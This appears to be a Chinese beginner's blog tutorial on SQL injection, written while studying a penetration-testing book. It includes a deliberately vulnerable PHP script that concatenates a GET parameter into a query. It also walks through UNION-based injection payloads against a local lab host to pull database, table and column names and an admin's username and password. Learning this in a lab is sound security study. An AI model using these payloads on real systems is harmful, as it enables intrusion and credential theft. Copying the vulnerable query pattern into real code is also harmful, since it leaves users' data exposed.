记我从小白的学习路程,希望小白也可以学习起来
我先推荐一本书,关于书籍方面我不会传统的去写,去学习《web安全攻防—渗透测试实战指南》
因为我有点基础,我会去帮大家,然后少走点坑路,同时我也是有点基础的菜鸟,写博客只是证明我成长的过程,如果我某天忘了,也总好比过网上去找,去翻
本书目录前2章是信息收集与环境搭建,这个应该就不需要了
- 什么是sql
sql注入:没有对用户输入的数据进行过滤判断,导致前端用户输入的数据是可控的,并且带入数据库查询
2.需要满足sql注入的条件
分两种条件
(1)用户可以控制输入 (可控性)
(2)用户输入的数据被当做代码执行
更深入的了解
贴上例子的代码:
<?php
$con = mysqli_connect("127.0.0.1","root","root","maoshe"); //mysqli_connect("地址","账号","密码","数据库")连接服务器
if (!$con) //判断
{
die("连接错误: " . mysqli_connect_error()); //mysqli_connect_error()返回连接错误的信息
}
$id = $_GET['id'];
$result = mysqli_query($con,"SELECT * FROM admin where 'id'=".$id); //mysqli_query(服务器连接,"执行的语句")
$row = mysqli_fetch_array($result); //mysqli_fetch_array("mysqli_query()")返回mysqli_query的结果
echo $row['username'].':'.$row['password'];
echo "<br />"
?>
(注释那里我写了函数是干什么的)
这也是最简单的显错注入
①简单来说,第一条意思就是可以控制,怎么算控制呢?
这个新闻的参数是32,那我们改成30试一下
新闻页面又变成了另外一条新闻,这个就是参数可控
再随便输入个符号,就报错了,很简单,很明了
②拼接了用户输入的数据,直接拿上面贴出的源码来讲
$id = $_GET['id'];
$result = mysqli_query($con,"SELECT * FROM admin where 'id'=".$id)
这两条,get传参的变量id 传入了变量result里面的语句
然后这条个mysql_query()函数再上面代码注释那边也讲了,先是服务器连接,然后再执行我们要执行的语句
这就是程序执行了用户输入的数据,进行拼接,产生了新的语句
1. 简单了解下数据库结构
先讲下数据库的结构
库 -> 表 -> 列
这个就是库,库在mysql 5.0版本之后会有个系统自带库 叫 “information_schema”
下图这个就是表(table),我选择了maoshe这个库,然后就可以看到maoshe这个库里面有4个表
然后我们点击admin,就可以看到有一条数据
id是1,username是 admin,password是 hellohack
在mysql数据库中,注释符有# 或 – (注意有个空格 --空格)或/**/
2.实战中的sql语句
先进行判断是否存在sql注入,可以用and 1=1,and 1=2 ,单引号 ,双引号 ,and -1=-1 ,and -1=-2 等等,
为什么单(双)引号可以判断?
因为这2个符号都是成双出现,如果只出现一个的话是不是心里不平衡,然后就会生气,生气就不执行了 (!!!∑(゚Д゚ノ)ノ) 这就说明可以为我们所控制,并且把我们输入的数据拼接了语句,进行执行
- 然后再判断字段,也就是找我们的回显
当我们order by 4的时候,发现报错了。这是正常的,说明字段只有3个
细节来了
使用联合查询 union select
http://192.168.209.130/websafe/union.php?id=-1 union select 1,2,3
很简单,使用联合查询的时候注意,要使前面的传参出错,没有-1这个传参,所以报错,可以执行
2.发现了2和3两个回显点
我们就可以进一步的查询下是什么库
成功的查询了库名,再查下表 databsse() 可以查看当前数据库名称
3.查表名
很简单
union select 1,2,table_name from information_schema.tables
where table_schema='maoshe' limit 0,1#
limit 0,1意思是取第一条数据,如果要看第二条 就写 limit 1,1
在计算机里面,从0开始计算的
我直接这样写出来 意思很简单:
union select 字段 from information_schema.tables where table_schema=‘查询出来的库名’ 然后#号注释后面的
你可以看做是固定格式(我不知道怎么讲,可以评论问我问题)
3.查列名
①列名
union select 1,2,column_name from information_schema.columns
where table_schema='maoshe' and table_name='admin' limit 0,1#
②表名
union select 1,2,table_name from information_schema.tables
where table_schema='maoshe' limit 0,1#
你对比下,发现查列名只是在表名的基础上面简单的修改了下
图片截图出来对比下
4.查询数据
union select 字段 from 表
我们字段字段3个,2,3有回显
通过查列名知道了username和password
这时候我们就代入回显点里面
union select 1,username,password from admin
也可以一个个代入union select 1,username,3 from admin
但是要注意,代入到回显的那个地方才行